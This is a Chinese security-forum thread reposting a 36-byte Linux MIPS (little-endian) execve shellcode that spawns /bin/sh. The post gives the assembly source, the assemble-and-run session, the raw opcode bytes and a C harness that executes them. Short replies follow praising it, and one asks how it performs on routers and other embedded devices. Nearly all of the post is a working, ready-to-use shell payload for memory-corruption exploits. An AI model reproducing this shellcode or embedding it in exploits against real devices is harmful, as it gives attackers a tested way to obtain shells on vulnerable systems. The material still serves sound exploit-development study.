楼主: 90_

Linux MIPS execve (36 bytes)

[复制链接]
发表于 2015-3-4 19:44:56 | 显示全部楼层 |阅读模式
[AppleScript] 查看源码 复制代码
# Exploit Title: 36byte Linux MIPS execve
# Date: 2015 - 1 - 20
# Exploit Author: Sanguine
# Vendor Homepage: [url]http://sangu1ne.tistory.com/[/url]
 
 
#include <stdio.h>
/*
Sanguine@debian-mipsel:~/leaveret# cat > MIPS_36b_sc.s
.section .text
.globl __start
.set noreorder
__start:
slti $a2, $zero, -1   #set a1 to zero
p:
bltzal $a2, p            #not branch always and save ra
slti $a1, $zero, -1   #set a1 to zero
addu $a0, $ra, 4097       #a0 + 16
addu $a0, $a0, -4081
li $v0, 4011
syscall  0x40404
.string "/bin/sh"
Sanguine@debian-mipsel:~/leaveret# as MIPS_36b_sc.s -o MIPS_36b_sc.o
Sanguine@debian-mipsel:~/leaveret# ld MIPS_36b_sc.o -o MIPS_36b_sc
Sanguine@debian-mipsel:~/leaveret# ./MIPS_36b_sc
$ exit
 
*/
char sc[] = {
    "\xff\xff\x06\x28" /* slti $a2, $zero, -1 */
    "\xff\xff\xd0\x04" /* bltzal $a2, <p> */
    "\xff\xff\x05\x28" /* slti $a1, $zero, -1  */
    "\x01\x10\xe4\x27" /* addu $a0, $ra, 4097 */
    "\x0f\xf0\x84\x24" /* addu $a0, $a0, -4081 */
    "\xab\x0f\x02\x24" /* li $v0, 4011  */
    "\x0c\x01\x01\x01" /* syscall  0x40404 */
    "/bin/sh"
};
 
void
main(void)
{
    void (*s)(void);
    printf("sc size %d\n", sizeof(sc));
    s = sc;
    s();
}
回复

使用道具 举报

发表于 2015-6-28 11:34:12 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-6-28 20:01:11 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-6-30 17:59:31 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-7-1 01:08:16 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-7-1 09:26:58 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

发表于 2015-7-1 10:17:30 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

发表于 2015-7-1 13:08:57 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2026-5-20 23:20:00 | 显示全部楼层

Re: Linux MIPS execve (36 bytes)

这段 shellcode 非常简洁,36 字节实现 `/bin/sh` 的 execve,在 MIPS 小端环境下直接可用,看得出作者对指令选择和延迟槽利用都很熟练。尤其是 `bltzal` 配合 `slti` 来获取 PC 并巧妙调整地址,思路很精巧。编译和测试过程也完整贴出,方便复现。如果能把 MIPS 大端的对应 shellcode 也补充一下就更好了,不过小端版本已经很实用了。感谢分享!
回复 支持 反对

使用道具 举报

发表于 2026-6-20 14:10:01 | 显示全部楼层

Re: Linux MIPS execve (36 bytes)

哈哈,36字节的MIPS shellcode,真是精致!Sanguine这个利用`bltzal`拿PC寄存器的技巧很经典,配合`addu`调整地址,紧凑到连字符串都嵌在代码里。你是在Debian mipsel上测的吗?小端序的MIPS跑这个应该很顺畅。有没有试过在mips big endian上改字节序?好奇这个shellcode在路由器之类的嵌入式设备上实战效果怎么样。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-8-27 14:17 , Processed in 0.023330 second(s), 17 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部